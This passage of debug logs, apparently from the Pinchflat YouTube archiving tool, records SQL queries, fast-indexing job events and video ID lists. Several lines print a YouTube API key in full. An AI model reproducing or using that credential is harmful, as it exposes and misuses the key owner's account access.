m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:01.526 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.526 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 15:47:01.526 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.526 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:01.627 [debug] QUERY OK source="media_items" db=0.5ms idle=101.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 15:47:01.628 [debug] QUERY OK source="media_items" db=0.3ms idle=102.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 15:47:01.629 [debug] QUERY OK source="tasks" db=0.1ms idle=102.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799818, 15, ~U[2026-02-10 21:47:01Z], ~U[2026-02-10 21:47:01Z]] 15:47:01.629 [info] {"args":{"id":15},"id":3799778,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":160733,"event":"job:stop","queue_time":471940,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.635 [info] {"args":{"id":13},"id":3799780,"meta":{},"system_time":1770760021635606246,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.635 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 15:47:01.636 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.636 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:01.636 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.636 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 15:47:01.636 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.636 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:01.716 [debug] QUERY OK source="media_items" db=0.5ms idle=79.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 15:47:01.716 [debug] QUERY OK source="media_items" db=0.3ms idle=80.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 15:47:01.717 [debug] QUERY OK source="tasks" db=0.1ms idle=80.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799819, 22, ~U[2026-02-10 21:47:01Z], ~U[2026-02-10 21:47:01Z]] 15:47:01.717 [info] {"args":{"id":22},"id":3799779,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":192099,"event":"job:stop","queue_time":410474,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.807 [debug] QUERY OK source="media_items" db=0.5ms idle=89.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 15:47:01.807 [debug] QUERY OK source="media_items" db=0.3ms idle=90.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 15:47:01.808 [debug] QUERY OK source="tasks" db=0.1ms idle=84.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799820, 13, ~U[2026-02-10 21:47:01Z], ~U[2026-02-10 21:47:01Z]] 15:47:01.808 [info] {"args":{"id":13},"id":3799780,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173047,"event":"job:stop","queue_time":430811,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:03.469 [info] {"args":{"id":14},"id":3799781,"meta":{},"system_time":1770760023469748672,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:03.470 [debug] QUERY OK source="sources" db=0.1ms idle=591.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 15:47:03.470 [debug] QUERY OK source="settings" db=0.1ms idle=591.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:03.470 [debug] QUERY OK source="media_profiles" db=0.1ms idle=592.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:03.470 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:03.470 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 15:47:03.471 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:03.471 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:03.618 [debug] QUERY OK source="media_items" db=0.6ms idle=148.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 15:47:03.620 [debug] QUERY OK source="media_items" db=1.1ms idle=149.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 15:47:03.621 [debug] QUERY OK source="tasks" db=0.1ms idle=150.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799821, 14, ~U[2026-02-10 21:47:03Z], ~U[2026-02-10 21:47:03Z]] 15:47:03.621 [info] {"args":{"id":14},"id":3799781,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151595,"event":"job:stop","queue_time":524798,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:04.471 [info] {"args":{"id":32},"id":3799782,"meta":{},"system_time":1770760024471683958,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:04.471 [debug] QUERY OK source="sources" db=0.1ms idle=850.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 15:47:04.472 [debug] QUERY OK source="settings" db=0.1ms idle=850.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:04.472 [debug] QUERY OK source="media_profiles" db=0.1ms idle=844.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:04.472 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:04.472 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 15:47:04.472 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:04.472 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:04.703 [debug] QUERY OK source="media_items" db=0.7ms idle=230.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", 